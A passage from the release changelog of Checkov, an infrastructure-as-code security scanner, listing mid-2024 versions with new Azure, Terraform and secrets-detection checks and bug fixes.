**terraform:** add 14 rules for tencentcloud provider - [#6448](https://github.com/bridgecrewio/checkov/pull/6448) ### Bug Fix - **secrets:** fix secrets prerun bug - [#6594](https://github.com/bridgecrewio/checkov/pull/6594) - **terraform:** Exclude String in CKV_AWS_337 - [#6592](https://github.com/bridgecrewio/checkov/pull/6592) ## [3.2.199](https://github.com/bridgecrewio/checkov/compare/3.2.196...3.2.199) - 2024-07-22 ### Feature - **arm:** add CKV_AZURE_87 to ensure that Azure Defender is set to On for Key Vault - [#6418](https://github.com/bridgecrewio/checkov/pull/6418) - **arm:** ARM VnetSingleDNSServer - [#6379](https://github.com/bridgecrewio/checkov/pull/6379) - **secrets:** Adding the option to prerun before multiline pattern executing - [#6586](https://github.com/bridgecrewio/checkov/pull/6586) - **secrets:** If the prrun regex found but we already scanned file we already scann… - [#6591](https://github.com/bridgecrewio/checkov/pull/6591) ## [3.2.196](https://github.com/bridgecrewio/checkov/compare/3.2.194...3.2.196) - 2024-07-21 ### Feature - **general:** Add metadata exception filter to GHA - [#6583](https://github.com/bridgecrewio/checkov/pull/6583) - **general:** Refactor all resource type handling in Checkov - [#6572](https://github.com/bridgecrewio/checkov/pull/6572) ## [3.2.194](https://github.com/bridgecrewio/checkov/compare/3.2.193...3.2.194) - 2024-07-18 ### Feature - **arm:** AKSEncryptionAtHostEnable - [#6575](https://github.com/bridgecrewio/checkov/pull/6575) - **arm:** AKSEphemeralOSDisks - [#6578](https://github.com/bridgecrewio/checkov/pull/6578) - **arm:** CKV_AZURE_92 to Ensure that Virtual Machines use managed disks - [#6455](https://github.com/bridgecrewio/checkov/pull/6455) - **arm:** FrontDoorWAFACLCVE202144228 - Mitigates the Log4j2 vulnerability CVE-2021-44228. - [#6419](https://github.com/bridgecrewio/checkov/pull/6419) ### Bug Fix - **general:** fix the right numbers in TestSkipJsonRegexPattern - [#6580](https://github.com/bridgecrewio/checkov/pull/6580) - **terraform:** Fix title of CKV_AZURE_238 - [#6570](https://github.com/bridgecrewio/checkov/pull/6570) ## [3.2.193](https://github.com/bridgecrewio/checkov/compare/3.2.191...3.2.193) - 2024-07-17 ### Bug Fix - **terraform:** fix failures of no caller on definition context - [#6573](https://github.com/bridgecrewio/checkov/pull/6573) - **terraform:** TFPlan + TF fixes for google_project_iam_policy + google_iam_policy - [#6577](https://github.com/bridgecrewio/checkov/pull/6577) ## [3.2.191](https://github.com/bridgecrewio/checkov/compare/3.2.190...3.2.191) - 2024-07-16 ### Bug Fix - **general:** fix sca unit tests for python 3.12 - [#6574](https://github.com/bridgecrewio/checkov/pull/6574) ## [3.2.190](https://github.com/bridgecrewio/checkov/compare/3.2.189...3.2.190) - 2024-07-15 - no noteworthy changes ## [3.2.189](https://github.com/bridgecrewio/checkov/compare/3.2.186...3.2.189) - 2024-07-14 ### Feature - **arm:** add CKV_AZURE_169 to ensure that AKS use the Paid Sku for its SLA - [#6545](https://github.com/bridgecrewio/checkov/pull/6545) - **arm:** add CKV_AZURE_177 to ensure that Windows VM enables automatic updates - [#6484](https://github.com/bridgecrewio/checkov/pull/6484) - **cloudformation:** Update audit_logs valid values - [#6566](https://github.com/bridgecrewio/checkov/pull/6566) ## [3.2.186](https://github.com/bridgecrewio/checkov/compare/3.2.183...3.2.186) - 2024-07-11 ### Feature - **azure:** add new policies for Azure Synapse (tf and arm) - [#6554](https://github.com/bridgecrewio/checkov/pull/6554) - **bicep:** support bicep custom policy - [#6561](https://github.com/bridgecrewio/checkov/pull/6561) ### Bug Fix - **arm:** CKV_AZURE_56 just for authsettingsV2 name - [#6557](https://github.com/bridgecrewio/checkov/pull/6557) - **secrets:** filter secrets that have vault: in them - [#6565](https://github.com/bridgecrewio/checkov/pull/6565) ## [3.2.183](https://github.com/bridgecrewio/checkov/compare/3.2.179...3.2.183) - 2024-07-10 ### Feature - **terraform_plan:** support tf_plan after_unknown enrichment - [#6517](https://github.com/bridgecrewio/checkov/pull/6517) ### Bug Fix - **secrets:** small fix for filtering - [#6562](https://github.com/bridgecrewio/checkov/pull/6562) ### Platform - **general:** pass repo ID to runconfig - [#6560](https://github.com/bridgecrewio/checkov/pull/6560) ## [3.2.179](https://github.com/bridgecrewio/checkov/compare/3.2.177...3.2.179) - 2024-07-09 ### Feature - **arm:** add CKV_AZURE_206 to ensure that Storage Accounts use replication - [#6524](https://github.com/bridgecrewio/checkov/pull/6524) - **arm:** BCE-33785 Support Azure Synapse Analytics policies - [#6513](https://github.com/bridgecrewio/checkov/pull/6513) ## [3.2.177](https://github.com/bridgecrewio/checkov/compare/3.2.175...3.2.177) - 2024-07-08 ### Bug Fix - **sast:** fix cdk policies - [#6552](https://github.com/bridgecrewio/checkov/pull/6552) ## [3.2.175](https://github.com/bridgecrewio/checkov/compare/3.2.174...3.2.175) - 2024-07-07 ### Feature - **arm:** AzureSearchSQLQueryUpdates - [#6543](https://github.com/bridgecrewio/checkov/pull/6543) ## [3.2.174](https://github.com/bridgecrewio/checkov/compare/3.2.171...3.2.174) - 2024-07-04 ### Feature - **arm:** add CKV_AZURE_172 to ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters - [#6533](https://github.com/bridgecrewio/checkov/pull/6533) - **arm:** add CKV_AZURE_173 to ensure that API management uses at least TLS 1.2 - [#6478](https://github.com/bridgecrewio/checkov/pull/6478) - **arm:** AppServicePlanZoneRedundant - [#6472](https://github.com/bridgecrewio/checkov/pull/6472) - **arm:** AzureSearchSLAIndex - [#6530](https://github.com/bridgecrewio/checkov/pull/6530) - **arm:** SQLDatabaseZoneRedundant - [#6515](https://github.com/bridgecrewio/checkov/pull/6515) - **azure:** add new policies for Azure Synapse - [#6520](https://github.com/bridgecrewio/checkov/pull/6520) - **general:** update detect secrets package - [#6535](https://github.com/bridgecrewio/checkov/pull/6535) ## [3.2.171](https://github.com/bridgecrewio/checkov/compare/3.2.164...3.2.171) - 2024-07-03 ### Feature - **arm:** add CKV_AZURE_171 to ensure that AKS cluster upgrade channel is chosen - [#6532](https://github.com/bridgecrewio/checkov/pull/6532) - **arm:** add CKV_AZURE_175 to ensure that Web PubSub uses a SKU with an SLA - [#6523](https://github.com/bridgecrewio/checkov/pull/6523) - **arm:** add CKV_AZURE_178 to ensure that linux VM enables SSH with keys for secure communication - [#6486](https://github.com/bridgecrewio/checkov/pull/6486) - **arm:** add CKV_AZURE_85 to ensure that Azure Defender is set to On for Kubernetes - [#6279](https://github.com/bridgecrewio/checkov/pull/6279) - **arm:** CKV_AZURE_99 to Ensure Cosmos DB accounts have restricted access - [#6498](https://github.com/bridgecrewio/checkov/pull/6498) - **arm:** DataFactoryNoPublicNetworkAccess - [#6479](https://github.com/bridgecrewio/checkov/pull/6479) - **arm:** DataLakeStoreEncryption - [#6516](https://github.com/bridgecrewio/checkov/pull/6516) - **arm:** EventHubNamespaceMinTLS12 - [#6485](https://github.com/bridgecrewio/checkov/pull/6485) ### Bug Fix - **openapi:** [CKV_OPENAPI_3] Prevent false-positive when checking for http+!basic - [#6406](https://github.com/bridgecrewio/checkov/pull/6406) - **terraform_json:** support locals block in CDKTF output - [#6452](https://github.com/bridgecrewio/checkov/pull/6452) - **terraform:** Deprecate CKV2_AWS_67 - [#6529](https://github.com/bridgecrewio/checkov/pull/6529) ## [3.2.164](https://github.com/bridgecrewio/checkov/compare/3.2.163...3.2.164) - 2024-07-02 ### Documentation - **general:** Add Python note - [#6521](https://github.com/bridgecrewio/checkov/pull/6521) ## [3.2.163](https://github.com/bridgecrewio/checkov/compare/3.2.159...3.2.163) - 2024-07-01 ### Feature - **arm:** add CKV_AZURE_174 to ensure that API management public access is disabled - [#6480](https://github.com/bridgecrewio/checkov/pull/6480) - **arm:** AppServicePHPVersion - [#6436](https://github.com/bridgecrewio/checkov/pull/6436) - **arm:** AppServicePublicAccessDisabled - [#6467](https://github.com/bridgecrewio/checkov/pull/6467) - **arm:** KeyVaultEnablesPurgeProtection - [#6465](https://github.com/bridgecrewio/checkov/pull/6465) - **arm:** PubsubSpecifyIdentity - [#6483](https://github.com/bridgecrewio/checkov/pull/6483) ## [3.2.159](https://github.com/bridgecrewio/checkov/compare/3.2.156...3.2.159) - 2024-06-30 ### Bug Fix - **arm:** fix CKV_AZURE_78: `siteConfig` object should be under `properties` - [#6477](https://github.com/bridgecrewio/checkov/pull/6477) - **general:** Mypy issues - [#6510](https://github.com/bridgecrewio/checkov/pull/6510) - **terraform:** ignore comment out modules - [#6507](https://github.com/bridgecrewio/checkov/pull/6507) ## [3.2.156](https://github.com/bridgecrewio/checkov/compare/3.2.145...3.2.156) - 2024-06-27 ### Feature - **arm:** add CKV_AZURE_129 Ensure that MariaDB server enables geo-redundant backups - [#6427](https://github.com/bridgecrewio/checkov/pull/6427) - **arm:** add CKV_AZURE_137 Ensure ACR admin account is disabled - [#6430](https://github.com/bridgecrewio/checkov/pull/6430) - **arm:** add CKV_AZURE_139 Ensure ACR set to disable public networking - [#6428](https://github.com/bridgecrewio/checkov/pull/6428) - **arm:** add CKV_AZURE_166 Ensure container image quarantine, scan, and mark images verified - [#6431](https://github.com/bridgecrewio/checkov/pull/6431) - **arm:** add CKV_AZURE_168 to ensure that Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods - [#6385](https://github.com/bridgecrewio/checkov/pull/6385) - **arm:** add CKV_AZURE_45 to ensure that no sensitive credentials are exposed in VM custom_data - [#6422](https://github.com/bridgecrewio/checkov/pull/6422) - **arm:** add CKV_AZURE_70 to ensure that Function apps is only accessible over HTTPS - [#6457](https://github.com/bridgecrewio/checkov/pull/6457) - **arm:** ARM AppServiceSlotDebugDisabled - CKV_AZURE_155 - [#6453](https://github.com/bridgecrewio/checkov/pull/6453) - **arm:** ARM AppServiceSlotHTTPSOnly - [#6454](https://github.com/bridgecrewio/checkov/pull/6454) - **arm:** ARM VnetLocalDNS - [#6424](https://github.com/bridgecrewio/checkov/pull/6424) - **arm:** PostgressSQLGeoBackupEnabled - [#6456](https://github.com/bridgecrewio/checkov/pull/6456) - **arm:** StorageAccountName - [#6426](https://github.com/bridgecrewio/checkov/pull/6426) - **secrets:** dont filter secrets - [#6508](https://github.com/bridgecrewio/checkov/pull/6508) ### Bug Fix - **azure:** fix description of CKV_AZURE_236 - [#6503](https://github.com/bridgecrewio/checkov/pull/6503) - **kubernetes:** Fix CKV_K8S_31 for CronJobs - [#6506](https://github.com/bridgecrewio/checkov/pull/6506) - **sca:** fix parsing json with comments - [#6509](https://github.com/bridgecrewio/checkov/pull/6509) - **terraform:** CKV_AWS_339 add Kubernetes 1.30 to AWS EKS version checks - [#6353](https://github.com/bridgecrewio/checkov/pull/6353) - **terraform:** remove print from CKV_AWS_364 - [#6504](https://github.com/bridgecrewio/checkov/pull/6504) ## [3.2.145](https://github.com/bridgecrewio/checkov/compare/3.2.144...3.2.145) - 2024-06-25 ### Documentation - **general:** Note for feature requests - [#6497](https://github.com/bridgecrewio/checkov/pull/6497) ## [3.2.144](https://github.com/bridgecrewio/checkov/compare/3.2.141...3.2.144) - 2024-06-23 ### Bug Fix - **kubernetes:** ensure seccompProfile is set to RuntimeDefault for all containers in deployments and similar resources - [#6459](https://github.com/bridgecrewio/checkov/pull/6459) - **terraform:** Add more conditions for CKV_AWS_70 - [#6464](https://github.com/bridgecrewio/checkov/pull/6464) ## [3.2.141](https://github.com/bridgecrewio/checkov/compare/3.2.140...3.2.141) - 2024-06-19 ### Bug Fix - **secrets:** dedup secrets history values - [#6462](https://github.com/bridgecrewio/checkov/pull/6462) ## [3.2.140](https://github.com/bridgecrewio/checkov/compare/3.2.138...3.2.140) - 2024-06-18 ### Feature - **azure:** fix ckv_azure_189 according to docs - [#6413](https://github.com/bridgecrewio/checkov/pull/6413) ### Bug Fix - **sca:** Support parsing json with comments - [#6466](https://github.com/bridgecrewio/checkov/pull/6466) ### Documentation - **general:** fix pre-commit link - [#6433](https://github.com/bridgecrewio/checkov/pull/6433) ## [3.2.138](https://github.com/bridgecrewio/checkov/compare/3.2.136...3.2.138) - 2024-06-17 ### Feature - **graph:** support creation of resource type allow/deny lists - [#6451](https://github.com/bridgecrewio/checkov/pull/6451) ### Bug Fix - **terraform:** Fix name of CKV2_AWS_67 to be more clear - [#6434](https://github.com/bridgecrewio/checkov/pull/6434) - **terraform:** Fix when apt is in rm statement - [#6437](https://github.com/bridgecrewio/checkov/pull/6437) - **terraform:** Update CKV_AWS_224 title - [#6435](https://github.com/bridgecrewio/checkov/pull/6435) ## [3.2.136](https://github.com/bridgecrewio/checkov/compare/3.2.133...3.2.136) - 2024-06-13 ### Bug Fix - **arm:** Correct AzureMLWorkspacePrivateEndpoint rule check logic - [#6432](https://github.com/bridgecrewio/checkov/pull/6432) - **general:** removed references Putin references - [#6445](https://github.com/bridgecrewio/checkov/pull/6445) ## [3.2.133](https://github.com/bridgecrewio/checkov/compare/3.2.130...3.2.133) - 2024-06-10 ### Feature - **general:** add AI_AND_ML to CheckCategories - [#6423](https://github.com/bridgecrewio/checkov/pull/6423) ### Bug Fix - **sast:** Update CKV IDs for CDK policies - [#6415](https://github.com/bridgecrewio/checkov/pull/6415) ## [3.2.130](https://github.com/bridgecrewio/checkov/compare/3.2.128...3.2.130) - 2024-06-09 ### Feature - **arm:** add CKV_AZURE_135 to ensure Application Gateway WAF prevents message lookup in Log4j2. - [#6364](https://github.com/bridgecrewio/checkov/pull/6364) - **arm:** add CKV_AZURE_140 to ensure that Local Authentication is disabled on CosmosDB - [#6329](https://github.com/bridgecrewio/checkov/pull/6329) - **arm:** add CKV_AZURE_163 Enable vulnerability scanning for container images - [#6339](https://github.com/bridgecrewio/checkov/pull/6339) - **arm:** add MariaDbPublicAccessDisabled convert policy to arm - [#6246](https://github.com/bridgecrewio/checkov/pull/6246) - **arm:** AKSLocalAdminDisabled - [#6334](https://github.com/bridgecrewio/checkov/pull/6334) - **arm:** AppServiceFTPSState - [#6363](https://github.com/bridgecrewio/checkov/pull/6363) - **arm:** AzureServiceFabricClusterProtectionLevel - [#6366](https://github.com/bridgecrewio/checkov/pull/6366) - **arm:** ensure ACR disables anonymous pulling of images (CKV_AZURE_138) - [#6373](https://github.com/bridgecrewio/checkov/pull/6373) - **arm:** KeyVaultDisablesPublicNetworkAccess - [#6342](https://github.com/bridgecrewio/checkov/pull/6342) - **arm:** PostgreSQLServerPublicAccessDisabled - [#6330](https://github.com/bridgecrewio/checkov/pull/6330) - **terraform:** extract image referencers for AWS SageMaker - [#6408](https://github.com/bridgecrewio/checkov/pull/6408) ### Bug Fix - **ansible:** add dict check in create_tasks_vertices - [#6417](https://github.com/bridgecrewio/checkov/pull/6417) ## [3.2.128](https://github.com/bridgecrewio/checkov/compare/3.2.125...3.2.128) - 2024-06-06 ### Feature - **azure:** drop support for dotnet v7.0 - [#6383](https://github.com/bridgecrewio/checkov/pull/6383) - **general:** Image Referencer should not run for CI workflow files - [#6386](https://github.com/bridgecrewio/checkov/pull/6386) - **secrets:** Add _prioritise_secrets by 3 levels of severity - [#6390](https://github.com/bridgecrewio/checkov/pull/6390) - **terraform:** add 5 policies - [#6401](https://github.com/bridgecrewio/checkov/pull/6401) - **terraform:** add 6 policies - [#6396](https://github.com/bridgecrewio/checkov/pull/6396) - **terraform:** add fix for ckv_aws_300 - [#6404](https://github.com/bridgecrewio/checkov/pull/6404) - **terraform:** add fix for not contains solver - [#6389](https://github.com/bridgecrewio/checkov/pull/6389) ### Bug Fix - **ansible:** filter conf if its int or float - [#6409](https://github.com/bridgecrewio/checkov/pull/6409) - **general:** add try except gihub_action read file - [#6411](https://github.com/bridgecrewio/checkov/pull/6411) - **general:** bitbucket integration test failure - [#6407](https://github.com/bridgecrewio/checkov/pull/6407) - **general:** CKV2_AZURE_50 generates false positive azurerm_storage_account violations - [#6391](https://github.com/bridgecrewio/checkov/pull/6391) - **sast:** add log for sast on windows - [#6397](https://github.com/bridgecrewio/checkov/pull/6397) ## [3.2.125](https://github.com/bridgecrewio/checkov/compare/3.2.124...3.2.125) - 2024-06-03 ### Feature - **arm:** Add check for AzureML workspace not configured with private endpoint - [#6387](https://github.com/bridgecrewio/checkov/pull/6387) ## [3.2.124](https://github.com/bridgecrewio/checkov/compare/3.2.122...3.2.124) - 2024-06-02 ### Feature - **azure:** Add policy to ensure proper AzureML Workspace network access - [#6362](https://github.com/bridgecrewio/checkov/pull/6362) - **azure:** Ensure Azure Storage Account storing Machine Learning workspace high business impact data is not publicly accessible - [#6368](https://github.com/bridgecrewio/checkov/pull/6368) ## [3.2.122](https://github.com/bridgecrewio/checkov/compare/3.2.121...3.2.122) - 2024-06-01 ### Feature - **arm:** AppServicePythonVersion - 82 check the 'python version' is the latest, if used to run the web app - [#6282](https://github.com/bridgecrewio/checkov/pull/6282) ## [3.2.121](https://github.com/bridgecrewio/checkov/compare/3.2.119...3.2.121) - 2024-05-31 ### Feature - **terraform:** AWS SageMaker notebook instance KMS Key - [#6374](https://github.com/bridgecrewio/checkov/pull/6374) - **terraform:** CognitiveServicesConfigureIdentity - new check - [#6378](https://github.com/bridgecrewio/checkov/pull/6378) - **terraform:** Ensure that Cognitive Services accounts enable local authentication - new check - [#6377](https://github.com/bridgecrewio/checkov/pull/6377) ## [3.2.119](https://github.com/bridgecrewio/checkov/compare/3.2.112...3.2.119) - 2024-05-30 ### Feature - **arm:** add FunctionAppsEnableAuthentication - Checking if a certain field exists - [#6250](https://github.com/bridgecrewio/checkov/pull/6250) - **terraform:** Add more conditions to CKV_AWS_70 - [#6371](https://github.com/bridgecrewio/checkov/pull/6371) - **terraform:** Added the CKV2_AWS_68 Check for TF and CFN - [#6369](https://github.com/bridgecrewio/checkov/pull/6369) ### Bug Fix - **ansible:** set task as ansible vertices config - [#6376](https://github.com/bridgecrewio/checkov/pull/6376) - **terraform:** for_each/count attribute wasn't rendering if referencing a dynamic variable of a higher level module - [#6372](https://github.com/bridgecrewio/checkov/pull/6372) ## [3.2.112](https://github.com/bridgecrewio/checkov/compare/3.2.108...3.2.112) - 2024-05-29 ### Feature - **terraform:** Add provider address to resources - [#6266](https://github.com/bridgecrewio/checkov/pull/6266) - **terraform:** Support for count & for_each in data blocks - [#6359](https://github.com/bridgecrewio/checkov/pull/6359) ### Bug Fix - **terraform:** Fix an issue for loading tfvars + issue in the dynamic rendering - [#6360](https://github.com/bridgecrewio/checkov/pull/6360) ## [3.2.108](https://github.com/bridgecrewio/checkov/compare/3.2.107...3.2.108) - 2024-05-26 ### Bug Fix - **sast:** don't scan hidden files - [#6349](https://github.com/bridgecrewio/checkov/pull/6349) ## [3.2.107](https://github.com/bridgecrewio/checkov/compare/3.2.106...3.2.107) - 2024-05-24 ### Bug Fix - **terraform:** Handle registry modules with a version in CKF_TF_2 - [#6354](https://github.com/bridgecrewio/checkov/pull/6354) ## [3.2.106](https://github.com/bridgecrewio/checkov/compare/3.2.105...3.2.106) - 2024-05-23 ### Feature - **arm:** Ensure Databricks Workspace data plane to control plane co… - [#6319](https://github.com/bridgecrewio/checkov/pull/6319) - **general:** TF and ARM - Ensure that Databricks Workspaces enable… - [#6313](https://github.com/bridgecrewio/checkov/pull/6313) - **secrets:** Bump detect-secrets - [#6346](https://github.com/bridgecrewio/checkov/pull/6346) ## [3.2.105](https://github.com/bridgecrewio/checkov/compare/3.2.100...3.2.105) - 2024-05-22 ### Feature - **arm:** add AppServiceJavaVersion - [#6258](https://github.com/bridgecrewio/checkov/pull/6258) - **arm:** add CKV_AZURE_145 to check that the function app uses the latest version of TLS encryption - [#6323](https://github.com/bridgecrewio/checkov/pull/6323) - **arm:** add CKV_AZURE_218 to ensure that Application Gateway defines secure protocols for in transit communicationApp gw defines secure protocols - [#6320](https://github.com/bridgecrewio/checkov/pull/6320) - **arm:** add CKV_AZURE_54 to ensure Enforce a minimal Tls version for the server - [#6270](https://github.com/bridgecrewio/checkov/pull/6270) - **arm:** add CKV_AZURE_71 to Ensure that Managed identity provider is enabled for web apps - [#6272](https://github.com/bridgecrewio/checkov/pull/6272) - **arm:** add CKV_AZURE_72 to ensure that remote debugging is not enabled for app services - [#6281](https://github.com/bridgecrewio/checkov/pull/6281) - **arm:** AzureDefenderOStorage - [#6269](https://github.com/bridgecrewio/checkov/pull/6269) - **arm:** MySQLPublicAccessDisabled-Azure MySQL: Restrict Public Access - [#6263](https://github.com/bridgecrewio/checkov/pull/6263) - **arm:** StorageSyncPublicAccessDisabled - [#6331](https://github.com/bridgecrewio/checkov/pull/6331) - **secrets:** eliminate false positives in entropy keyword combinator detector - [#6327](https://github.com/bridgecrewio/checkov/pull/6327) ### Bug Fix - **ansible:** fix ansible resource id in local graph - [#6344](https://github.com/bridgecrewio/checkov/pull/6344) - **secrets:** fix entropy type - [#6347](https://github.com/bridgecrewio/checkov/pull/6347) ## [3.2.100](https://github.com/bridgecrewio/checkov/compare/3.2.98...3.2.100) - 2024-05-21 ### Feature - **sast:** TS-legacy-checks - [#6311](https://github.com/bridgecrewio/checkov/pull/6311) - **secrets:** entropy limit as env variable - [#6332](https://github.com/bridgecrewio/checkov/pull/6332) ## [3.2.98](https://github.com/bridgecrewio/checkov/compare/3.2.97...3.2.98) - 2024-05-20 ### Bug Fix - **terraform:** Remove invalid CIDRs in CKV2_AWS_44 - [#6301](https://github.com/bridgecrewio/checkov/pull/6301) ## [3.2.97](https://github.com/bridgecrewio/checkov/compare/3.2.95...3.2.97) - 2024-05-19 ### Feature - **arm:** add CKV_AZURE_73 to ensure that Automation account variables are encrypted - [#6271](https://github.com/bridgecrewio/checkov/pull/6271) - **arm:** add CKV_AZURE_76 to ensure that Azure Batch account uses key vault to encrypt data - [#6280](https://github.com/bridgecrewio/checkov/pull/6280) - **arm:** add FunctionAppDisallowCORS - password correctness check - [#6248](https://github.com/bridgecrewio/checkov/pull/6248) - **arm:** ARM FunctionAppHttpVersionLatest policy - [#6244](https://github.com/bridgecrewio/checkov/pull/6244) - **arm:** CKV_AZURE_74 to Ensure that Azure Data Explorer (Kusto) uses disk encryption - [#6273](https://github.com/bridgecrewio/checkov/pull/6273) - **arm:** MSSQLServerMinTLSVersion - [#6245](https://github.com/bridgecrewio/checkov/pull/6245) ## [3.2.95](https://github.com/bridgecrewio/checkov/compare/3.2.94...3.2.95) - 2024-05-17 ### Bug Fix - **terraform:** handle module source tag ref when it is not the first parameter - [#6314](https://github.com/bridgecrewio/checkov/pull/6314) ## [3.2.94](https://github.com/bridgecrewio/checkov/compare/3.2.92...3.2.94) - 2024-05-16 ### Bug Fix - **sast:** fix random test sast js - [#6315](https://github.com/bridgecrewio/checkov/pull/6315) ### Platform - **general:** Double-Encode URI for RelayState Parameter - [#6302](https://github.com/bridgecrewio/checkov/pull/6302) ## [3.2.92](https://github.com/bridgecrewio/checkov/compare/3.2.91...3.2.92) - 2024-05-15 ### Feature - **sast:** CDK TypeScript policies - [#6161](https://github.com/bridgecrewio/checkov/pull/6161) - **terraform:** add check for tf module versioned tag - [#6213](https://github.com/bridgecrewio/checkov/pull/6213) ### Bug Fix - **secrets:** secret_filter_block_list filter by file name and suffixes - [#6285](https://github.com/bridgecrewio/checkov/pull/6285) - **secrets:** secret_filter_block_list filter by file name and suffixes 2 - [#6306](https://github.com/bridgecrewio/checkov/pull/6306) ### Platform - **general:** Fix policy.name to use the spaces as specified on CLI. - [#6296](https://github.com/bridgecrewio/checkov/pull/6296) ## [3.2.91](https://github.com/bridgecrewio/checkov/compare/3.2.90...3.2.91) - 2024-05-12 ### Feature - **secrets:** bump bc-detect-secrets to 1.5.10 - [#6297](https://github.com/bridgecrewio/checkov/pull/6297) ## [3.2.90](https://github.com/bridgecrewio/checkov/compare/3.2.85...3.2.90) - 2024-05-09 ### Feature - **general:** Add deep-analysis to GHA - [#6288](https://github.com/bridgecrewio/checkov/pull/6288) - **terraform:** Add more hype policies - [#6239](https://github.com/bridgecrewio/checkov/pull/6239) ### Bug Fix - **ansible:** fix ansible definitions raw type - [#6292](https://github.com/bridgecrewio/checkov/pull/6292) ### Platform - **ansible:** add set definitions raw to ansible runner - [#6286](https://github.com/bridgecrewio/checkov/pull/6286) - **general:** Handle SAST suppressions (suppressions V2) - [#6109](https://github.com/bridgecrewio/checkov/pull/6109) ### Documentation - **general:** add RENDER_EDGES_DUPLICATE_ITER_COUNT to docs - [#6291](https://github.com/bridgecrewio/checkov/pull/6291) - **general:** Update README links for PyPi - [#6231](https://github.com/bridgecrewio/checkov/pull/6231) ## [3.2.85](https://github.com/bridgecrewio/checkov/compare/3.2.84...3.2.85) - 2024-05-08 ### Platform - **ansible:** add missing arg to ansible runner - [#6276](https://github.com/bridgecrewio/checkov/pull/6276) ## [3.2.84](https://github.com/bridgecrewio/checkov/compare/3.2.82...3.2.84) - 2024-05-07 ### Feature - **sast:** Enable cdk ts integraion test - [#6158](https://github.com/bridgecrewio/checkov/pull/6158) ### Bug Fix - **secrets:** add files for secret to skip - [#6275](https://github.com/bridgecrewio/checkov/pull/6275) - **terraform:** Update CKV_AWS_31 for RBAC - [#6224](https://github.com/bridgecrewio/checkov/pull/6224) ## [3.2.82](https://github.com/bridgecrewio/checkov/compare/3.2.79...3.2.82) - 2024-05-06 ### Feature - **github:** add summary message in github_failed_only output - [#6131](https://github.com/bridgecrewio/checkov/pull/6131) - **sast:** add ts checks to python pack - [#6261](https://github.com/bridgecrewio/checkov/pull/6261) - **sast:** run all cdk integration test - [#6256](https://github.com/bridgecrewio/checkov/pull/6256) ### Bug Fix - **general:** fix changed serif path - [#6251](https://github.com/bridgecrewio/checkov/pull/6251) ## [3.2.79](https://github.com/bridgecrewio/checkov/compare/3.2.74...3.2.79) - 2024-05-02 ### Feature - **sast:** Add 10 TS CDK - [#6194](https://github.com/bridgecrewio/checkov/pull/6194) - **sast:** add typescript - DONT MERGE - [#6193](https://github.com/bridgecrewio/checkov/pull/6193) - **sast:** Filter js files generate by ts - [#6220](https://github.com/bridgecrewio/checkov/pull/6220) - **secrets:** bump bc-detect-secrets 1.5.9 - [#6205](https://github.com/bridgecrewio/checkov/pull/6205) - **terraform:** Add GCP policy - [#6177](https://github.com/bridgecrewio/checkov/pull/6177) - **terraform:** Add resource attributes to jsonify - [#6203](https://github.com/bridgecrewio/checkov/pull/6203) - **terraform:** Ensure dedicated data endpoints are enabled - [#6188](https://github.com/bridgecrewio/checkov/pull/6188) - **terraform:** support provider in tf_plan graph - [#6195](https://github.com/bridgecrewio/checkov/pull/6195) - **terraform:** Update CloudArmorWAFACLCVE202144228.py - [#6217](https://github.com/bridgecrewio/checkov/pull/6217) ### Bug Fix - **general:** add print to random test - [#6229](https://github.com/bridgecrewio/checkov/pull/6229) - **general:** fix integration test in build - [#6227](https://github.com/bridgecrewio/checkov/pull/6227) - **general:** fix integration tests - [#6207](https://github.com/bridgecrewio/checkov/pull/6207) - **kubernetes:** Update checkov-job.yaml - [#5985](https://github.com/bridgecrewio/checkov/pull/5985) - **sca:** remove old test for the depracated workflow github-action - [#6232](https://github.com/bridgecrewio/checkov/pull/6232) - **terraform_plan:** Edges not created because of indexing in resource["address"] when resources in modules use count - [#6145](https://github.com/bridgecrewio/checkov/pull/6145) - **terraform:** CKV_AWS_23 rule description fixed for clarity - [#5993](https://github.com/bridgecrewio/checkov/pull/5993) - **terraform:** Fix CKV_AWS_358 to handle plan files - [#6202](https://github.com/bridgecrewio/checkov/pull/6202) ### Platform - **ansible:** add create_definitions function for ansible framework - [#6225](https://github.com/bridgecrewio/checkov/pull/6225) ### Documentation - **general:** Fix docs html brackets - [#6051](https://github.com/bridgecrewio/checkov/pull/6051) - **general:** Remove Python 3.7 - [#6200](https://github.com/bridgecrewio/checkov/pull/6200) ## [3.2.74](https://github.com/bridgecrewio/checkov/compare/3.2.73...3.2.74) - 2024-04-22 ### Feature - **general:** Update range includes to handle lists of ranges and lists of values - [#6192](https://github.com/bridgecrewio/checkov/pull/6192) ## [3.2.73](https://github.com/bridgecrewio/checkov/compare/3.2.72...3.2.73) - 2024-04-21 ### Feature - **sast:** TypeScript cdk policies p7 - [#6186](https://github.com/bridgecrewio/checkov/pull/6186) ## [3.2.72](https://github.com/bridgecrewio/checkov/compare/3.2.71...3.2.72) - 2024-04-19 ### Feature - **bicep:** Add bicep version of policy - [#6191](https://github.com/bridgecrewio/checkov/pull/6191) ## [3.2.71](https://github.com/bridgecrewio/checkov/compare/3.2.70...3.2.71) - 2024-04-18 ### Feature - **sca:** support licenses custom policies enforcement rules - [#6173](https://github.com/bridgecrewio/checkov/pull/6173) ## [3.2.70](https://github.com/bridgecrewio/checkov/compare/3.2.68...3.2.70) - 2024-04-17 ### Feature - **sast:** Add 5 cdk for TS - [#6179](https://github.com/bridgecrewio/checkov/pull/6179) ### Bug Fix - **sast:** fix skipped_checks paths before upload to the platform - [#6183](https://github.com/bridgecrewio/checkov/pull/6183) ## [3.2.68](https://github.com/bridgecrewio/checkov/compare/3.2.65...3.2.68) - 2024-04-16 ### Feature - **sast:** adding extended code block - [#6178](https://github.com/bridgecrewio/checkov/pull/6178) - **sca:** using the new api license/get-licenses-violations instead of packages/get-licenses-violations (which is deprecated) - [#6174](https://github.com/bridgecrewio/checkov/pull/6174) ### Bug Fix - **sca:** Revert "feat(sca): using the new api license/get-licenses-violations … - [#6176](https://github.com/bridgecrewio/checkov/pull/6176) ## [3.2.65](https://github.com/bridgecrewio/checkov/compare/3.2.63...3.2.65) - 2024-04-15 ### Bug Fix - **sast:** save suppress_comment for sast inline suppressions - [#6171](https://github.com/bridgecrewio/checkov/pull/6171) - **secrets:** Azure Storage Key detector updates in bc-detect-secrets 1.5.7 - [#6168](https://github.com/bridgecrewio/checkov/pull/6168) ## [3.2.63](https://github.com/bridgecrewio/checkov/compare/3.2.60...3.2.63) - 2024-04-14 ### Feature - **sast:** CDK TS policies p2 - 